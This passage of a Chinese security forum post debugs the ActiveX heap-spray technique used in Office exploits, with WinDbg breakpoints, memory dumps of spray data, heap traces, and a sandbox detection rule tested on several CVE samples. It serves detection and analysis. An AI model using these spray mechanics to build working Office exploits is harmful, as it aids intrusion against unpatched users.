002be6ac  00154400 00200000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00201000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00202000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00203000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00204000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154400 00205000 00000000 002be6f8 00000000 002be6e0
002be6ac  00154430 00000000 00000000 002be6f8 00001000 002be6e0
002be6ac  00154430 00001000 00000000 002be6f8 00001000 002be6e0

可以观察到每次调用 ole32!CMemBytes::WriteAt 函数时待写入数据的大小(cb)都为 0x1000,偏移(ulOffset)则按 0x1000 的顺序递增。由此笔者合理推断 ActiveX 控件在被映射到内存时,是按每次 0x1000 的大小被写入的,所以调用 ole32!CMemBytes::WriteAt 处应该位于一处循环内,我们看一下相关调用点的伪代码,果然如此:

 

 

现在让我们在第1次调用 ole32!CMemBytes::WriteAt 时断下,看一下写入的数据是什么?

0:011> bp mso+5edae9 ".echo call ole32!CMemBytes::WriteAt; dd /c 6 esp l6;"
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office14\mso.dll -
0:011> g
(128.fbc): Unknown exception - code e0000002 (first chance)
(128.fbc): Unknown exception - code e0000002 (first chance)
call ole32!CMemBytes::WriteAt
0016e9ac  063b5698 00000000 00000000 0016e9f8 00001000 0016e9e0
eax=063b5698 ebx=00000000 ecx=761c0f10 edx=0016e9f8 esi=062669ec edi=00001000
eip=67e7dae9 esp=0016e9ac ebp=0016f9fc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mso!Ordinal8882+0x6f1:
67e7dae9 ff5110          call    dword ptr [ecx+10h]  ds:0023:761c0f20={ole32!CMemBytes::WriteAt (761e2e6c)}
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\System32\msxml6.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Microsoft Office\Office14\wwlib.dll -
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Microsoft Office\Office14\WINWORD.EXE -
0:000> dc 0016e9f8
0016e9f8  e011cfd0 e11ab1a1 00000000 00000000  ................
0016ea08  00000000 00000000 0003003e 0009fffe  ........>.......
0016ea18  00000006 00000000 00000000 00000021  ............!...
0016ea28  00000001 00000000 00001000 fffffffe  ................
0016ea38  00000000 fffffffe 00000000 00000000  ................
0016ea48  00000002 00000003 00000004 00000005  ................
0016ea58  00000006 00000007 00000008 00000009  ................
0016ea68  0000000a 0000000b 0000000c 0000000d  ................

...

0:000> g
call ole32!CMemBytes::WriteAt
0016e9ac  063b5698 00058000 00000000 0016e9f8 00001000 0016e9e0
eax=063b5698 ebx=00000000 ecx=761c0f10 edx=0016e9f8 esi=062669ec edi=00001000
eip=67e7dae9 esp=0016e9ac ebp=0016f9fc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mso!Ordinal8882+0x6f1:
67e7dae9 ff5110          call    dword ptr [ecx+10h]  ds:0023:761c0f20={ole32!CMemBytes::WriteAt (761e2e6c)}
0:000> dc 0016e9f8
0016e9f8  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea08  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea18  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea28  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea38  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea48  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea58  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea68  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|

可以看到写入的数据正是ole头部,并且在随后写入了 ActiveX[1].bin 控件的其余数据。

 

分析到这里,笔者想知道目的地址在哪里,既然有一个 ulOffset,那么肯定有一个 base,我们能通过上述数据得到 base 吗?答案是肯定的。

 

 

ole32!CMemBytes::WriteAt 函数中,调用完 ole32!CMemBytes::SetSize 后,有一处 memcpy 操作,这里就是在往新扩大的 0x1000 内存拷贝数据,其中第一个参数就是通过 base[offset] 来寻址的,笔者在寻找的就是这个 v5, 可以看到 v5 是通过如下调用得到的:

v5 = (char *)GlobalLock(this->m_pData->hGlobal); // CMemBytes *this

看来 v5 是间接通过 CMemBytes 对象指针得到的,我们来看一下 GlobalLock 函数的实现:

 

 

可以看到在 GlobalLock 函数中,返回的值其实就是对传入的参数做了一次解引用,原来如此。

 

现在我们还需要搞清楚 CMemBytes 对象及其相关对象的结构体,幸运的是 IDA 已经给出了相关的结构体定义:

CMemBytes struct __cppobj :
    ILockBytes,
    CPrivAlloc {
        unsigned int m_dwSig;
        unsigned int m_refs;
        void *m_hMem;
        MEMSTM *m_pData;
}

MEMSTM    struct {
    unsigned int cb;
    unsigned int cRef;
    char *m_pBuf;
    void *hGlobal;
    int fDeleteOnRelease;
}

我们的目的就是通过 CMemBytes 对象指针去解析到 v5 对应的地址,所以我们可以将断点修正如下:

0:004> bp mso+5edae9 ".printf\"base_addr=0x%x\, offset=0x%x, write_size=0x%x\", poi(poi(poi(eax+0x10)+0xc)), poi(esp+4), poi(esp+0x10); .echo; dc poi(esp+0x0c); g;"
breakpoint 0 redefined
0:004> g
...
base_addr=0x0, offset=0x0, write_size=0x1000
0016e9f8  e011cfd0 e11ab1a1 00000000 00000000  ................
0016ea08  00000000 00000000 0003003e 0009fffe  ........>.......
0016ea18  00000006 00000000 00000000 00000021  ............!...
0016ea28  00000001 00000000 00001000 fffffffe  ................
0016ea38  00000000 fffffffe 00000000 00000000  ................
0016ea48  00000002 00000003 00000004 00000005  ................
0016ea58  00000006 00000007 00000008 00000009  ................
0016ea68  0000000a 0000000b 0000000c 0000000d  ................
base_addr=0x63c0520, offset=0x1000, write_size=0x1000
0016e9f8  00000301 00000302 00000303 00000304  ................
0016ea08  00000305 00000306 00000307 00000308  ................
0016ea18  00000309 0000030a 0000030b 0000030c  ................
0016ea28  0000030d 0000030e 0000030f 00000310  ................
0016ea38  00000311 00000312 00000313 00000314  ................
0016ea48  00000315 00000316 00000317 00000318  ................
0016ea58  00000319 0000031a 0000031b 0000031c  ................
0016ea68  0000031d 0000031e 0000031f 00000320  ............ ...
base_addr=0x63c0520, offset=0x2000, write_size=0x1000
0016e9f8  00000701 00000702 00000703 00000704  ................
0016ea08  00000705 00000706 00000707 00000708  ................
0016ea18  00000709 0000070a 0000070b 0000070c  ................
0016ea28  0000070d 0000070e 0000070f 00000710  ................
0016ea38  00000711 00000712 00000713 00000714  ................
0016ea48  00000715 00000716 00000717 00000718  ................
0016ea58  00000719 0000071a 0000071b 0000071c  ................
0016ea68  0000071d 0000071e 0000071f 00000720  ............ ...
base_addr=0x63c0520, offset=0x3000, write_size=0x1000
0016e9f8  00000b01 00000b02 00000b03 00000b04  ................
0016ea08  00000b05 00000b06 00000b07 00000b08  ................
0016ea18  00000b09 00000b0a 00000b0b 00000b0c  ................
0016ea28  00000b0d 00000b0e 00000b0f 00000b10  ................
0016ea38  00000b11 00000b12 00000b13 00000b14  ................
0016ea48  00000b15 00000b16 00000b17 00000b18  ................
0016ea58  00000b19 00000b1a 00000b1b 00000b1c  ................
0016ea68  00000b1d 00000b1e 00000b1f 00000b20  ............ ...

...

base_addr=0xc520020, offset=0x203000, write_size=0x1000
0016e9f8  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea08  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea18  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea28  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea38  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea48  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea58  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea68  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
base_addr=0xbef0020, offset=0x204000, write_size=0x1000
0016e9f8  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea08  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea18  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea28  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea38  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea48  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea58  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea68  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
base_addr=0xc520020, offset=0x205000, write_size=0x0
0016e9f8  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea08  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea18  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea28  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea38  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea48  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea58  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|
0016ea68  7c342404 7c342404 7c342404 7c342404  .$4|.$4|.$4|.$4|

上面的日志是一次完整的从 offset=0offset=0x20500 的过程(中间省略了大量重复日志),笔者注意到 base_addr 地址在中间发生过改变,笔者猜测一开始的地址在内存增长过程中可能大小不过,于是将之前已拷贝的数据拷贝到了一块更大的内存,并继续增长,这应该和 GlobalReAlloc 函数的实现有关,这里不再深究。

// 可以看到 0x63c0520 地址处已经作为他用
0:004> !heap -p -a 0x63c0520
    address 063c0520 found in
    _HEAP @ 12a0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        063c0518 004d 0000  [00]   063c0530    00250 - (busy)
        Trace: 647c0b4
        774cdd6c ntdll!RtlAllocateHeap+0x00000274
        761cea43 ole32!CRetailMalloc_Alloc+0x00000016
        76194d5c ole32!CSmAllocator::Alloc+0x0000013f
        76194def ole32!CMallocBased::operator new+0x00000013
        7619502f ole32!CFileStream::InitGlobal+0x00000018
        76207e0a ole32!CRootPubDocFile::InitRoot+0x000001f1
        76208655 ole32!DfFromLB+0x00000177
        761f46fe ole32!StgOpenStorageOnILockBytes+0x00000217
        68528597 mso!Ordinal4410+0x00000735
        66df8368 wwlib!DllGetLCID+0x0066c2f2
        6667a2d3 wwlib!GetAllocCounters+0x000e3e7b
        665bf339 wwlib!GetAllocCounters+0x00028ee1
        67abb0de mso!Ordinal3479+0x00000418
        67a5cc1f mso!Ordinal2685+0x00000f9f
        6f619729 msxml6!DllRegisterServer+0x0004418c
        6f619707 msxml6!DllRegisterServer+0x0004416a
        6f619707 msxml6!DllRegisterServer+0x0004416a
        6f619707 msxml6!DllRegisterServer+0x0004416a
        6f619707 msxml6!DllRegisterServer+0x0004416a
        6f619707 msxml6!DllRegisterServer+0x0004416a
        6f6174cf msxml6!DllRegisterServer+0x00041f32
        6f61a113 msxml6!DllRegisterServer+0x00044b76
        6f6180bb msxml6!DllRegisterServer+0x00042b1e
        67a5c502 mso!Ordinal2685+0x00000882
        67ab95f1 mso!Ordinal5215+0x0000078d
        665bbe04 wwlib!GetAllocCounters+0x000259ac
        665b8408 wwlib!GetAllocCounters+0x00021fb0
        665b4ac1 wwlib!GetAllocCounters+0x0001e669
        665b4747 wwlib!GetAllocCounters+0x0001e2ef
        665b28c9 wwlib!GetAllocCounters+0x0001c471
        665b212e wwlib!GetAllocCounters+0x0001bcd6
        667d3b5a wwlib!DllGetLCID+0x00047ae4

// 可以看到最终的 0xc520020 地址处是一块大小为 0x20500 的堆块
0:004> !heap -p -a 0xc520020
    address 0c520020 found in
    _HEAP @ 12a0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c520018 40a00 0000  [00]   0c520020    205000 - (busy VirtualAlloc)
        Trace: 02f8
        7750da1c ntdll!RtlLogStackBackTrace+0x00000007
        774a5ae0 ntdll!RtlAllocateHeap+0x0000023a
        774790dc ntdll!RtlpReAllocateHeap+0x00000863
        774bffcf ntdll!RtlReAllocateHeap+0x000002c5
        75aeed69 kernel32!GlobalReAlloc+0x0000017f
        761e2f36 ole32!CMemBytes::SetSize+0x0000002a
        76219b50 ole32!CMemBytes::WriteAt+0x00000054
        67e7daec mso!Ordinal8882+0x000006f4
        67e7d6b8 mso!Ordinal8882+0x000002c0
        67e7d4f2 mso!Ordinal8882+0x000000fa
        67e7d48b mso!Ordinal8882+0x00000093
        67abb0de mso!Ordinal3479+0x00000418
        67a5cc1f mso!Ordinal2685+0x00000f9f
        6f619729 msxml6!DllRegisterServer+0x0004418c
        6f6174cf msxml6!DllRegisterServer+0x00041f32
        6f61a113 msxml6!DllRegisterServer+0x00044b76
        6f6180bb msxml6!DllRegisterServer+0x00042b1e
        67a5c502 mso!Ordinal2685+0x00000882
        67ab95f1 mso!Ordinal5215+0x0000078d
        67e7d33c mso!Ordinal7691+0x000000cb
        67e7d26d mso!Ordinal2270+0x00000016
        66df82d1 wwlib!DllGetLCID+0x0066c25b
        6667a2d3 wwlib!GetAllocCounters+0x000e3e7b
        665bf339 wwlib!GetAllocCounters+0x00028ee1
        67abb0de mso!Ordinal3479+0x00000418
        67a5cc1f mso!Ordinal2685+0x00000f9f
        6f619729 msxml6!DllRegisterServer+0x0004418c
        6f619707 msxml6!DllRegisterServer+0x0004416a
        6f619707 msxml6!DllRegisterServer+0x0004416a
        6f619707 msxml6!DllRegisterServer+0x0004416a
        6f619707 msxml6!DllRegisterServer+0x0004416a
        6f619707 msxml6!DllRegisterServer+0x0004416a

分析到这里,原则上笔者可以写出一个监控 office ActiveX 堆喷射总内存申请大小的实时 windbg 脚本,但是实际使用时发现带有伪寄存器的脚本执行的速度太慢,该脚本仅供参考。

// base_addr 以最终分配到 0x20500 大小的堆块基址为准,通过上面的分析我们可以知道一开始使用的小堆块可能会被更大的堆块替换
bp mso+5edae9 "r $t0=$t0+poi(ebp-0x100c); .printf\"base_addr=0x%x, tota_size=0x%x\", poi(poi(poi(eax+0x10)+0xc)), $t0; .echo; g;"

实际应用

由于笔者的日常工作涉及到沙箱检测技术的开发,所以我试着将上述调试结论融入沙箱的检测框架。通过累加堆喷射内存大小,并与预先准备的阈值(以下为75MB)进行比较,从而判断一个 office 样本是否有 ActiveX 控件异常堆喷射行为。笔者对 cve-2013-3906/cve-2015-1641/cve-2015-1642/cve-2016-7193/cve-2017-11826 常见攻击样本进行检测,获得了非常好的检出效果。

 

这里笔者给出若干漏洞的样本以及对应的检出日志,供读者参考:

cve: cve-2013-3906
md5: eef07859f6ff48f92388530ae4958d82

检出示例:
Detected suspicious office ActiveX heap spray.
size: 0x1000, count:0x4b01
last_address: 0x0e3d0020
---------------------------------------------
cve: cve-2015-1641 and cve-2016-7193
md5: 3d429324354aa0f1a49168c6790d5a62

检出示例:
Detected suspicious office ActiveX heap spray.
size: 0x1000, count:0x4b01
last_address: 0x09200020
---------------------------------------------
cve: cve-2017-11826
md5: eb69519b1e62a73e5b3eb06cf5bb0a7d

检出示例:
Detected suspicious office ActiveX heap spray.
size: 0x1000, count: 0x4b4a
last_address: 0x08d83878

总结

由于 office 中一定还存在其他内存破坏漏洞,笔者预计未来仍然会有类似的利用手法出现,这些利用在针对旧版本 office(office 2007/office 2010) 的攻击中还是非常稳定的。

 

由于微软 EMETHeapSpray 检测方式只是简单的占坑,在新样本的检测中并没有非常好的效果。因此笔者在本文最后提供了一种较为简单的检测 office 堆喷射检测方式,供读者参考。

参考链接

《Microsoft Security Bulletin MS15-081 - Critical》
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-081

 

《Microsoft Office CTaskSymbol Use-After-Free Vulnerability》
https://labs.mwrinfosecurity.com/advisories/microsoft-office-ctasksymbol-use-after-free-vulnerability/

 

《Understanding Microsoft Word OLE Exploit Primitives: Exploiting CVE-2015-1642 Microsoft Office CTaskSymbol Use-After-Free Vulnerability》
https://www.nccgroup.trust/uk/our-research/understanding-microsoft-word-ole-exploit-primitives/

 

《CVE-2015-1642 POC》
http://www.cnblogs.com/Danny-Wei/p/5003302.html

 

《Spraying the heap in seconds using ActiveX controls in Microsoft Office》
https://www.greyhathacker.net/?p=911

 

《结合一个野外样本构造一个cve-2016-7193弹计算器的利用》
https://bbs.pediy.com/thread-221792.htm

 

《Open XML标签解析类漏洞分析思路》
https://www.anquanke.com/post/id/103080



[推荐]看雪企服平台,提供安全分析、定制项目开发、APP等级保护、渗透测试等安全服务!

最后于 2019-3-26 13:07 被银雁冰编辑 ,原因:
上传的附件:
上一主题 下一主题
打赏 + 2.00
打赏次数 1 金额 + 2.00
收起 
赞赏  Editor   +2.00 2019/03/15 精品文章~
最新回复 (2)
Editor 2019-3-15 09:37
2
0
 厉害,感谢分享!
开花的水管 2019-3-15 13:51
3
0
前排
游客
登录 | 注册 方可回帖
返回